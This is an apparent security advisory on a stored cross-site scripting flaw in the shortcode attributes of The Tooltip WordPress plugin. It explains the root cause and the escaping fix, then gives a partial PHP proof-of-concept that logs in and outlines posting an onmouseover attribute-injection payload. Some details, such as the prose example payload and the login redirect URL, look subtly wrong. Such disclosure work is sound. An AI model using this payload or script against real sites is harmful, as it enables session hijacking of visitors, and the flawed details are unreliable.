Atomic Edge analysis of CVE-2025-13908 (metadata-based):
This vulnerability is an authenticated Stored Cross-Site Scripting (XSS) flaw in The Tooltip WordPress plugin, versions up to and including 1.0.2. The vulnerability resides in the plugin’s ‘the_tooltip’ shortcode handler. Attackers with contributor-level access or higher can inject malicious scripts into posts or pages via shortcode attributes. These scripts execute in the browsers of any user viewing the compromised content, leading to a client-side security breach.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping. The CWE-79 classification confirms improper neutralization of user input during web page generation. The vulnerability description states the issue affects user-supplied attributes on the ‘the_tooltip’ shortcode. Without access to the source code, Atomic Edge concludes the plugin likely directly echoes or processes shortcode attribute values without applying proper escaping functions like `esc_attr()` or `esc_html()` before rendering them in the page.
Exploitation requires an authenticated user with at least the ‘contributor’ role. The attacker creates or edits a post, inserting the ‘[the_tooltip]’ shortcode with malicious payloads in its attributes. For example, an attacker could craft a shortcode like `[the_tooltip title=”alert(document.domain)” content=”test”]`. When the post is saved and later viewed by any user, the malicious script executes. The attack vector is the WordPress post editor, and the payload is delivered via the standard WordPress publishing workflow.
Effective remediation requires implementing proper output escaping. The plugin developer must ensure all user-controlled shortcode attribute values are passed through appropriate WordPress escaping functions before being output in HTML contexts. Functions like `esc_attr()` for HTML attributes and `wp_kses_post()` or `esc_html()` for element content are standard. Input validation should also be considered, but output escaping is the primary defense for XSS.
Successful exploitation allows an attacker to perform actions within the victim’s browser session. This can lead to session hijacking, unauthorized actions on behalf of the victim, defacement of site content, or theft of sensitive information displayed on the page. The stored nature of the attack amplifies impact, as the payload executes for every visitor to the compromised page. The CVSS score of 6.4 (Medium) reflects the need for authentication, but the scope change (S:C) indicates the vulnerability can affect users beyond the initial target component.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13908 - The Tooltip <= 1.0.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
<?php
$target_url = 'http://target-site.com/wp-login.php';
$username = 'contributor_user';
$password = 'password123';
// Payload to inject via the shortcode's 'title' attribute.
// This is a basic proof-of-concept alert.
$malicious_title = '" onmouseover="alert(document.domain)" data-tooltip="';
$shortcode_payload = "[the_tooltip title='{$malicious_title}' content='Hover over me.']";
// Initialize cURL session for cookie handling
$ch = curl_init();
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
// 1. Authenticate to WordPress
$login_data = http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]);
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $login_data);
$response = curl_exec($ch);
// 2. Create a new post with the malicious shortcode.
// Assumption: The standard WordPress 'post-new.php' endpoint is used.
// The nonce value ('_wpnonce') and 'post_ID' are extracted from the page.
// This step requires parsing the new post page to obtain a valid nonce.
// For this PoC, we outline the process but note actual implementation requires DOM parsing.
$new_post_url = 'http://target-site.com/wp-admin/post-new.php';
curl_setopt($ch, CURLOPT_URL, $new_post_url);
curl_setopt($ch, CURLOPT_POST, false);
$new_post_page = curl_exec($ch);
// In a full exploit, we would parse $new_post_page for '_wpnonce' and other required fields.
// Example regex (simplified): preg_match('/name="_wpnonce" value="([^"]+)"/', $new_post_page, $matches);
// $nonce = $matches[1];
// 3. Submit the post with the malicious shortcode.
// The payload is placed in the 'content' field of the post editor.
// $post_data = [
// 'post_title' => 'Test Post with XSS',
// 'content' => $shortcode_payload,
// 'publish' => 'Publish',
// '_wpnonce' => $nonce,
// 'post_type' => 'post',
// 'post_status' => 'publish'
// ];
// curl_setopt($ch, CURLOPT_URL, 'http://target-site.com/wp-admin/post.php');
// curl_setopt($ch, CURLOPT_POST, true);
// curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
// $result = curl_exec($ch);
// 4. The shortcode is now stored. Any user visiting the published post will execute the script on mouseover.
curl_close($ch);
echo "Proof-of-concept structure outlined. Actual execution requires nonce extraction and session handling.";
?>
